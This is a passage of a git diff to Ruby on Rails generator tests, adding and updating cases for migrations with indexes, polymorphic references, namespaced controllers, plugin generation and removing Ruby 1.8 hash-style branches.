+    att = Rails::Generators::GeneratedAttribute.parse("type:string")
     assert_equal("", att.default)
   end
 
@@ -102,24 +102,36 @@ class GeneratedAttributeTest < Rails::Generators::TestCase
 
   def test_reference_is_true
     %w(references belongs_to).each do |attribute_type|
-      assert_equal(
-        true,
-        create_generated_attribute(attribute_type).reference?
-      )
+      assert create_generated_attribute(attribute_type).reference?
     end
   end
 
   def test_reference_is_false
     %w(foo bar baz).each do |attribute_type|
-      assert_equal(
-        false,
-        create_generated_attribute(attribute_type).reference?
-      )
+      assert !create_generated_attribute(attribute_type).reference?
     end
   end
 
+  def test_polymorphic_reference_is_true
+    %w(references belongs_to).each do |attribute_type|
+      assert create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+    end
+  end
+  
+  def test_polymorphic_reference_is_false
+    %w(foo bar baz).each do |attribute_type|
+      assert !create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+    end
+  end
+  
   def test_blank_type_defaults_to_string_raises_exception
     assert_equal :string, create_generated_attribute(nil, 'title').type
     assert_equal :string, create_generated_attribute("", 'title').type
   end
+
+  def test_handles_index_names_for_references
+    assert_equal "post", create_generated_attribute('string', 'post').index_name
+    assert_equal "post_id", create_generated_attribute('references', 'post').index_name
+    assert_equal ["post_id", "post_type"], create_generated_attribute('references{polymorphic}', 'post').index_name
+  end
 end
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 139d6b1421..c501780e7f 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -10,11 +10,7 @@ class MailerGeneratorTest < Rails::Generators::TestCase
     run_generator
     assert_file "app/mailers/notifier.rb" do |mailer|
       assert_match(/class Notifier < ActionMailer::Base/, mailer)
-      if RUBY_VERSION < "1.9"
-        assert_match(/default :from => "from@example.com"/, mailer)
-      else
-        assert_match(/default from: "from@example.com"/, mailer)
-      end
+      assert_match(/default from: "from@example.com"/, mailer)
     end
   end
 
@@ -77,33 +73,14 @@ class MailerGeneratorTest < Rails::Generators::TestCase
 
     assert_file "app/mailers/notifier.rb" do |mailer|
       assert_instance_method :foo, mailer do |foo|
-        if RUBY_VERSION < "1.9"
-          assert_match(/mail :to => "to@example.org"/, foo)
-        else
-          assert_match(/mail to: "to@example.org"/, foo)
-        end
+        assert_match(/mail to: "to@example.org"/, foo)
         assert_match(/@greeting = "Hi"/, foo)
       end
 
       assert_instance_method :bar, mailer do |bar|
-        if RUBY_VERSION < "1.9"
-          assert_match(/mail :to => "to@example.org"/, bar)
-        else
-          assert_match(/mail to: "to@example.org"/, bar)
-        end
+        assert_match(/mail to: "to@example.org"/, bar)
         assert_match(/@greeting = "Hi"/, bar)
       end
     end
   end
-
-  def test_force_old_style_hash
-    run_generator ["notifier", "foo", "--old-style-hash"]
-    assert_file "app/mailers/notifier.rb" do |mailer|
-      assert_match(/default :from => "from@example.com"/, mailer)
-
-      assert_instance_method :foo, mailer do |foo|
-        assert_match(/mail :to => "to@example.org"/, foo)
-      end
-    end
-  end
 end
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index 337257df7d..774038c0e1 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -41,6 +41,24 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_remove_migration_with_indexed_attribute
+    migration = "remove_title_body_from_posts"
+    run_generator [migration, "title:string:index", "body:text"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :up, content do |up|
+        assert_match(/remove_column :posts, :title/, up)
+        assert_match(/remove_column :posts, :body/, up)
+      end
+
+      assert_method :down, content do |down|
+        assert_match(/add_column :posts, :title, :string/, down)
+        assert_match(/add_column :posts, :body, :text/, down)
+        assert_match(/add_index :posts, :title/, down)
+      end
+    end
+  end
+
   def test_remove_migration_with_attributes
     migration = "remove_title_body_from_posts"
     run_generator [migration, "title:string", "body:text"]
@@ -58,6 +76,110 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_remove_migration_with_references_options
+    migration = "remove_references_from_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :up, content do |up|
+        assert_match(/remove_reference :books, :author/, up)
+        assert_match(/remove_reference :books, :distributor, polymorphic: true/, up)
+      end
+
+      assert_method :down, content do |down|
+        assert_match(/add_reference :books, :author, index: true/, down)
+        assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, down)
+      end
+    end
+  end
+
+  def test_add_migration_with_attributes_and_indices
+    migration = "add_title_with_index_and_body_to_posts"
+    run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/add_column :posts, :title, :string/, up)
+        assert_match(/add_column :posts, :body, :text/, up)
+        assert_match(/add_column :posts, :user_id, :integer/, up)
+      end
+      assert_match(/add_index :posts, :title/, content)
+      assert_match(/add_index :posts, :user_id, unique: true/, content)
+    end
+  end
+
+  def test_add_migration_with_attributes_and_wrong_index_declaration
+    migration = "add_title_and_content_to_books"
+    run_generator [migration, "title:string:inex", "content:text", "user_id:integer:unik"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/add_column :books, :title, :string/, up)
+        assert_match(/add_column :books, :content, :text/, up)
+        assert_match(/add_column :books, :user_id, :integer/, up)
+      end
+      assert_no_match(/add_index :books, :title/, content)
+      assert_no_match(/add_index :books, :user_id/, content)
+    end
+  end
+
+  def test_add_migration_with_attributes_without_type_and_index
+    migration = "add_title_with_index_and_body_to_posts"
+    run_generator [migration, "title:index", "body:text", "user_uuid:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/add_column :posts, :title, :string/, up)
+        assert_match(/add_column :posts, :body, :text/, up)
+        assert_match(/add_column :posts, :user_uuid, :string/, up)
+      end
+      assert_match(/add_index :posts, :title/, content)
+      assert_match(/add_index :posts, :user_uuid, unique: true/, content)
+    end
+  end
+
+  def test_add_migration_with_attributes_index_declaration_and_attribute_options
+    migration = "add_title_and_content_to_books"
+    run_generator [migration, "title:string{40}:index", "content:string{255}", "price:decimal{1,2}:index", "discount:decimal{3.4}:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/add_column :books, :title, :string, limit: 40/, up)
+        assert_match(/add_column :books, :content, :string, limit: 255/, up)
+        assert_match(/add_column :books, :price, :decimal, precision: 1, scale: 2/, up)
+        assert_match(/add_column :books, :discount, :decimal, precision: 3, scale: 4/, up)
+      end
+      assert_match(/add_index :books, :title/, content)
+      assert_match(/add_index :books, :price/, content)
+      assert_match(/add_index :books, :discount, unique: true/, content)
+    end
+  end
+
+  def test_add_migration_with_references_options
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/add_reference :books, :author, index: true/, up)
+        assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, up)
+      end
+    end
+  end
+
+  def test_create_join_table_migration
+    migration = "add_media_join_table"
+    run_generator [migration, "artist_id", "musics:uniq"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/create_join_table :artists, :musics/, up)
+        assert_match(/# t.index \[:artist_id, :music_id\]/, up)
+        assert_match(/  t.index \[:music_id, :artist_id\], unique: true/, up)
+      end
+    end
+  end
+
   def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove
     migration = "create_books"
     run_generator [migration, "title:string", "content:text"]
@@ -72,4 +194,8 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
       end
     end
   end
+
+  def test_properly_identifies_usage_file
+    assert generator_class.send(:usage_path)
+  end
 end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 1b0cb425c6..ec33bd7c6b 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -113,6 +113,75 @@ class ModelGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_migration_with_attributes_and_with_index
+    run_generator ["product", "name:string:index", "supplier_id:integer:index", "user_id:integer:uniq", "order_id:uniq"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+        assert_match(/t\.integer :user_id/, up)
+        assert_match(/t\.string :order_id/, up)
+
+        assert_match(/add_index :products, :name/, up)
+        assert_match(/add_index :products, :supplier_id/, up)
+        assert_match(/add_index :products, :user_id, unique: true/, up)
+        assert_match(/add_index :products, :order_id, unique: true/, up)
+      end
+    end
+  end
+
+  def test_migration_with_attributes_and_with_wrong_index_declaration
+    run_generator ["product", "name:string", "supplier_id:integer:inex", "user_id:integer:unqu"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+        assert_match(/t\.integer :user_id/, up)
+
+        assert_no_match(/add_index :products, :name/, up)
+        assert_no_match(/add_index :products, :supplier_id/, up)
+        assert_no_match(/add_index :products, :user_id/, up)
+      end
+    end
+  end
+
+  def test_migration_with_missing_attribute_type_and_with_index
+    run_generator ["product", "name:index", "supplier_id:integer:index", "year:integer"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t\.string :name/, up)
+        assert_match(/t\.integer :supplier_id/, up)
+        
+        assert_match(/add_index :products, :name/, up)
+        assert_match(/add_index :products, :supplier_id/, up)
+        assert_no_match(/add_index :products, :year/, up)
+      end
+    end
+  end
+
+  def test_add_migration_with_attributes_index_declaration_and_attribute_options
+    run_generator ["product", "title:string{40}:index", "content:string{255}", "price:decimal{5,2}:index", "discount:decimal{5,2}:uniq", "supplier:references{polymorphic}"]
+
+    assert_migration "db/migrate/create_products.rb" do |content|
+      assert_method :change, content do |up|
+        assert_match(/create_table :products/, up)
+        assert_match(/t.string :title, limit: 40/, up)
+        assert_match(/t.string :content, limit: 255/, up)
+        assert_match(/t.decimal :price, precision: 5, scale: 2/, up)
+        assert_match(/t.references :supplier, polymorphic: true/, up)
+      end
+      assert_match(/add_index :products, :title/, content)
+      assert_match(/add_index :products, :price/, content)
+      assert_match(/add_index :products, :discount, unique: true/, content)
+    end
+  end
+  
   def test_migration_without_timestamps
     ActiveRecord::Base.timestamped_migrations = false
     run_generator ["account"]
@@ -125,15 +194,25 @@ class ModelGeneratorTest < Rails::Generators::TestCase
   end
 
   def test_model_with_references_attribute_generates_belongs_to_associations
-    run_generator ["product", "name:string", "supplier_id:references"]
+    run_generator ["product", "name:string", "supplier:references"]
     assert_file "app/models/product.rb", /belongs_to :supplier/
   end
 
   def test_model_with_belongs_to_attribute_generates_belongs_to_associations
-    run_generator ["product", "name:string", "supplier_id:belongs_to"]
+    run_generator ["product", "name:string", "supplier:belongs_to"]
     assert_file "app/models/product.rb", /belongs_to :supplier/
   end
 
+  def test_model_with_polymorphic_references_attribute_generates_belongs_to_associations
+    run_generator ["product", "name:string", "supplier:references{polymorphic}"]
+    assert_file "app/models/product.rb", /belongs_to :supplier, polymorphic: true/
+  end
+
+  def test_model_with_polymorphic_belongs_to_attribute_generates_belongs_to_associations
+    run_generator ["product", "name:string", "supplier:belongs_to{polymorphic}"]
+    assert_file "app/models/product.rb", /belongs_to :supplier, polymorphic: true/
+  end
+
   def test_migration_with_timestamps
     run_generator
     assert_migration "db/migrate/create_accounts.rb", /t.timestamps/
@@ -215,7 +294,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
 
     assert_migration "db/migrate/create_accounts.rb" do |m|
       assert_method :change, m do |up|
-        assert_match(/add_index/, up)
+        assert_match(/index: true/, up)
       end
     end
   end
@@ -225,7 +304,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
 
     assert_migration "db/migrate/create_accounts.rb" do |m|
       assert_method :change, m do |up|
-        assert_match(/add_index/, up)
+        assert_match(/index: true/, up)
       end
     end
   end
@@ -235,7 +314,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
 
     assert_migration "db/migrate/create_accounts.rb" do |m|
       assert_method :change, m do |up|
-        assert_no_match(/add_index/, up)
+        assert_no_match(/index: true/, up)
       end
     end
   end
@@ -245,8 +324,18 @@ class ModelGeneratorTest < Rails::Generators::TestCase
 
     assert_migration "db/migrate/create_accounts.rb" do |m|
       assert_method :change, m do |up|
-        assert_no_match(/add_index/, up)
+        assert_no_match(/index: true/, up)
       end
     end
   end
+
+  def test_attr_accessible_added_with_non_reference_attributes
+    run_generator
+    assert_file 'app/models/account.rb', /attr_accessible :age, :name/
+  end
+
+  def test_attr_accessible_added_with_comments_when_no_attributes_present
+    run_generator ["Account"]
+    assert_file 'app/models/account.rb', /# attr_accessible :title, :body/
+  end
 end
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index f23701e99e..2bc2c33a72 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -108,6 +108,15 @@ class NamedBaseTest < Rails::Generators::TestCase
     assert_name g, 'sheep_index', :index_helper
   end
 
+  def test_hide_namespace
+    g = generator ['Hidden']
+    g.class.stubs(:namespace).returns('hidden')
+
+    assert !Rails::Generators.hidden_namespaces.include?('hidden')
+    g.class.hide!
+    assert Rails::Generators.hidden_namespaces.include?('hidden')
+  end
+
   protected
 
     def assert_name(generator, value, method)
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index dd1e4bdac1..db2b8af217 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -20,8 +20,14 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
 
   def test_namespaced_controller_skeleton_is_created
     run_generator
-    assert_file "app/controllers/test_app/account_controller.rb", /module TestApp/, /  class AccountController < ApplicationController/
-    assert_file "test/functional/test_app/account_controller_test.rb", /module TestApp/, /  class AccountControllerTest/
+    assert_file "app/controllers/test_app/account_controller.rb",
+                /require_dependency "test_app\/application_controller"/,
+                /module TestApp/,
+                /  class AccountController < ApplicationController/
+
+    assert_file "test/functional/test_app/account_controller_test.rb",
+                /module TestApp/,
+                /  class AccountControllerTest/
   end
 
   def test_skipping_namespace
@@ -32,7 +38,9 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
 
   def test_namespaced_controller_with_additional_namespace
     run_generator ["admin/account"]
-    assert_file "app/controllers/test_app/admin/account_controller.rb", /module TestApp/, /  class Admin::AccountController < ApplicationController/
+    assert_file "app/controllers/test_app/admin/account_controller.rb", /module TestApp/, /  class Admin::AccountController < ApplicationController/ do |contents|
+      assert_match %r(require_dependency "test_app/application_controller"), contents
+    end
   end
 
   def test_helpr_is_also_namespaced
@@ -56,11 +64,20 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
     run_generator
     assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
   end
-#
+
   def test_invokes_default_template_engine_even_with_no_action
     run_generator ["account"]
     assert_file "app/views/test_app/account"
   end
+
+  def test_namespaced_controller_dont_indent_blank_lines
+    run_generator
+    assert_file "app/controllers/test_app/account_controller.rb" do |content|
+      content.split("\n").each do |line|
+        assert_no_match(/^\s+$/, line, "Don't indent blank lines")
+      end
+    end
+  end
 end
 
 class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase
@@ -82,7 +99,7 @@ class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase
     run_generator ["admin/account"]
     assert_file "app/models/test_app/admin.rb", /module TestApp/, /module Admin/
     assert_file "app/models/test_app/admin.rb", /def self\.table_name_prefix/
-    assert_file "app/models/test_app/admin.rb", /'admin_'/
+    assert_file "app/models/test_app/admin.rb", /'test_app_admin_'/
     assert_file "app/models/test_app/admin/account.rb", /module TestApp/, /class Admin::Account < ActiveRecord::Base/
   end
 
@@ -155,11 +172,7 @@ class NamespacedMailerGeneratorTest < NamespacedGeneratorTestCase
     assert_file "app/mailers/test_app/notifier.rb" do |mailer|
       assert_match(/module TestApp/, mailer)
       assert_match(/class Notifier < ActionMailer::Base/, mailer)
-      if RUBY_VERSION < "1.9"
-        assert_match(/default :from => "from@example.com"/, mailer)
-      else
-        assert_match(/default from: "from@example.com"/, mailer)
-      end
+      assert_match(/default from: "from@example.com"/, mailer)
     end
   end
 
@@ -222,9 +235,10 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
     end
 
     # Controller
-    assert_file "app/controllers/test_app/product_lines_controller.rb" do |content|
-      assert_match(/module TestApp\n  class ProductLinesController < ApplicationController/, content)
-    end
+    assert_file "app/controllers/test_app/product_lines_controller.rb",
+                /require_dependency "test_app\/application_controller"/,
+                /module TestApp/,
+                /class ProductLinesController < ApplicationController/
 
     assert_file "test/functional/test_app/product_lines_controller_test.rb",
                 /module TestApp\n  class ProductLinesControllerTest < ActionController::TestCase/
diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb
new file mode 100644
index 0000000000..9dd3d3e0ec
--- /dev/null
+++ b/railties/test/generators/orm_test.rb
@@ -0,0 +1,38 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+# Mock out two ORMs
+module ORMWithGenerators
+  module Generators
+    class ActiveModel
+      def initialize(name)
+      end
+    end
+  end
+end
+
+module ORMWithoutGenerators
+  # No generators
+end
+
+class OrmTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::ScaffoldControllerGenerator
+
+  def test_orm_class_returns_custom_generator_if_supported_custom_orm_set
+    g = generator ["Foo"], :orm => "ORMWithGenerators"
+    assert_equal ORMWithGenerators::Generators::ActiveModel, g.send(:orm_class)
+  end
+
+  def test_orm_class_returns_rails_generator_if_unsupported_custom_orm_set
+    g = generator ["Foo"], :orm => "ORMWithoutGenerators"
+    assert_equal Rails::Generators::ActiveModel, g.send(:orm_class)
+  end
+
+  def test_orm_instance_returns_orm_class_instance_with_name
+    g = generator ["Foo"]
+    orm_instance = g.send(:orm_instance)
+    assert g.send(:orm_class) === orm_instance
+    assert_equal "foo", orm_instance.name
+  end
+end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
index 9183945619..6c3e0178f2 100644
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ b/railties/test/generators/plugin_new_generator_test.rb
@@ -1,4 +1,3 @@
-require 'abstract_unit'
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/plugin_new/plugin_new_generator'
 require 'generators/shared_generator_tests.rb'
@@ -28,13 +27,20 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
   include SharedGeneratorTests
 
   def test_invalid_plugin_name_raises_an_error
-    content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] }
-    assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content
+    content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
+    assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
+    assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
+    assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
   end
 
-  def test_invalid_plugin_name_is_fixed
-    run_generator [File.join(destination_root, "things-43")]
-    assert_file "things-43/lib/things-43.rb", /module Things43/
+  def test_camelcase_plugin_name_underscores_filenames
+    run_generator [File.join(destination_root, "CamelCasedName")]
+    assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+    assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
   end
 
   def test_generating_without_options
@@ -52,6 +58,14 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
     assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
   end
 
+  def test_generating_test_files_in_full_mode_without_unit_test_files
+    run_generator [destination_root, "-T", "--full"]
+
+    assert_no_directory "test/integration/"
+    assert_no_file "test"
+    assert_no_match(/APP_RAKEFILE/, File.read(File.join(destination_root, "Rakefile")))
+  end
+
   def test_ensure_that_plugin_options_are_not_passed_to_app_generator
     FileUtils.cd(Rails.root)
     assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
@@ -76,6 +90,14 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
     assert_file "bukkits.gemspec", /mysql/
   end
 
+  def test_dont_generate_development_dependency
+    run_generator [destination_root, "--skip-active-record"]
+
+    assert_file "bukkits.gemspec" do |contents|
+      assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
+    end
+  end
+
   def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
     run_generator [destination_root, "--skip-active-record"]
     assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
@@ -205,7 +227,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
   def test_creating_gemspec
     run_generator
     assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
-    assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/
+    assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
     assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
     assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
   end
@@ -230,11 +252,29 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
     assert_no_file "test/dummy"
   end
 
+  def test_creating_dummy_application_with_different_name
+    run_generator [destination_root, "--dummy_path", "spec/fake"]
+    assert_file "spec/fake"
+    assert_file "spec/fake/config/application.rb"
+    assert_no_file "test/dummy"
+  end
+
   def test_creating_dummy_without_tests_but_with_dummy_path
     run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
     assert_file "spec/dummy"
     assert_file "spec/dummy/config/application.rb"
     assert_no_file "test"
+    assert_file '.gitignore' do |contents|
+      assert_match(/spec\/dummy/, contents)
+    end
+  end
+
+  def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
+    FileUtils.cd(Rails.root)
+    run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
+    assert_file ".gitignore" do |contents|
+      assert_match(/spec\/dummy/, contents)
+    end
   end
 
   def test_skipping_test_unit
@@ -243,20 +283,78 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase
     assert_file "bukkits.gemspec" do |contents|
       assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
     end
+    assert_file '.gitignore' do |contents|
+      assert_no_match(/test\dummy/, contents)
+    end
   end
 
   def test_skipping_gemspec
     run_generator [destination_root, "--skip-gemspec"]
     assert_no_file "bukkits.gemspec"
+    assert_file "Gemfile" do |contents|
+      assert_no_match('gemspec', contents)
+      assert_match(/gem "rails", "~> #{Rails::VERSION::STRING}"/, contents)
+      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
+      assert_no_match(/# gem "jquery-rails"/, contents)
+    end
   end
 
-protected
+  def test_skipping_gemspec_in_full_mode
+    run_generator [destination_root, "--skip-gemspec", "--full"]
+    assert_no_file "bukkits.gemspec"
+    assert_file "Gemfile" do |contents|
+      assert_no_match('gemspec', contents)
+      assert_match(/gem "rails", "~> #{Rails::VERSION::STRING}"/, contents)
+      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
+      assert_match(/# gem "jquery-rails"/, contents)
+      assert_no_match(/# jquery-rails is used by the dummy application\ngem "jquery-rails"/, contents)
+    end
+  end
+
+  def test_skipping_gemspec_in_full_mode_with_javascript_option
+    run_generator [destination_root, "--skip-gemspec", "--full", "--javascript=prototype"]
+    assert_file "Gemfile" do |contents|
+      assert_match(/# gem "prototype-rails"/, contents)
+      assert_match(/# jquery-rails is used by the dummy application\ngem "jquery-rails"/, contents)
+    end
+  end
+
+  def test_creating_plugin_in_app_directory_adds_gemfile_entry
+    # simulate application existance
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set('APP_PATH', Rails.root)
+    FileUtils.touch gemfile_path
+
+    run_generator [destination_root]
 
+    assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
+  ensure
+    Object.send(:remove_const, 'APP_PATH')
+    FileUtils.rm gemfile_path
+  end
+
+  def test_skipping_gemfile_entry
+    # simulate application existance
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set('APP_PATH', Rails.root)
+    FileUtils.touch gemfile_path
+
+    run_generator [destination_root, "--skip-gemfile-entry"]
+
+    assert_file gemfile_path do |contents|
+      assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
+    end
+  ensure
+    Object.send(:remove_const, 'APP_PATH')
+    FileUtils.rm gemfile_path
+  end
+
+
+protected
   def action(*args, &block)
     silence(:stdout){ generator.send(*args, &block) }
   end
 
-protected
   def default_files
     ::DEFAULT_PLUGIN_FILES
   end
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 65b30b9fbd..1eea50b0d9 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -75,6 +75,19 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
     assert_file "test/functional/users_controller_test.rb" do |content|
       assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
       assert_match(/test "should get index"/, content)
+      assert_match(/post :create, user: \{ age: @user.age, name: @user.name \}/, content)
+      assert_match(/put :update, id: @user, user: \{ age: @user.age, name: @user.name \}/, content)
+    end
+  end
+
+  def test_functional_tests_without_attributes
+    run_generator ["User"]
+
+    assert_file "test/functional/users_controller_test.rb" do |content|
+      assert_match(/class UsersControllerTest < ActionController::TestCase/, content)
+      assert_match(/test "should get index"/, content)
+      assert_match(/post :create, user: \{  \}/, content)
+      assert_match(/put :update, id: @user, user: \{  \}/, content)
     end
   end
 
@@ -126,18 +139,7 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
   def test_new_hash_style
     run_generator
     assert_file "app/controllers/users_controller.rb" do |content|
-      if RUBY_VERSION < "1.9"
-        assert_match(/\{ render :action => "new" \}/, content)
-      else
-        assert_match(/\{ render action: "new" \}/, content)
-      end
-    end
-  end
-
-  def test_force_old_style_hash
-    run_generator ["User", "--old-style-hash"]
-    assert_file "app/controllers/users_controller.rb" do |content|
-      assert_match(/\{ render :action => "new" \}/, content)
+      assert_match(/\{ render action: "new" \}/, content)
     end
   end
 end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index 2db8090621..9b456c64ef 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -14,10 +14,8 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
     assert_file "app/models/product_line.rb", /class ProductLine < ActiveRecord::Base/
     assert_file "test/unit/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/
     assert_file "test/fixtures/product_lines.yml"
-    assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/
-    assert_migration "db/migrate/create_product_lines.rb", /add_index :product_lines, :product_id/
-    assert_migration "db/migrate/create_product_lines.rb", /references :user/
-    assert_migration "db/migrate/create_product_lines.rb", /add_index :product_lines, :user_id/
+    assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product, index: true/
+    assert_migration "db/migrate/create_product_lines.rb", /references :user, index: true/
 
     # Route
     assert_file "config/routes.rb" do |route|
@@ -62,8 +60,11 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
       end
     end
 
-    assert_file "test/functional/product_lines_controller_test.rb",
-                /class ProductLinesControllerTest < ActionController::TestCase/
+    assert_file "test/functional/product_lines_controller_test.rb" do |test|
+      assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, test)
+      assert_match(/post :create, product_line: \{ title: @product_line.title \}/, test)
+      assert_match(/put :update, id: @product_line, product_line: \{ title: @product_line.title \}/, test)
+    end
 
     # Views
     %w(
@@ -85,6 +86,17 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase
     assert_file "app/assets/stylesheets/product_lines.css"
   end
 
+  def test_functional_tests_without_attributes
+    run_generator ["product_line"]
+
+    assert_file "test/functional/product_lines_controller_test.rb" do |content|
+      assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, content)
+      assert_match(/test "should get index"/, content)
+      assert_match(/post :create, product_line: \{  \}/, content)
+      assert_match(/put :update, id: @product_line, product_line: \{  \}/, content)
+    end
+  end
+
   def test_scaffold_on_revoke
     run_generator
     run_generator ["product_line"], :behavior => :revoke
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 1534f0d828..e78e67725d 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
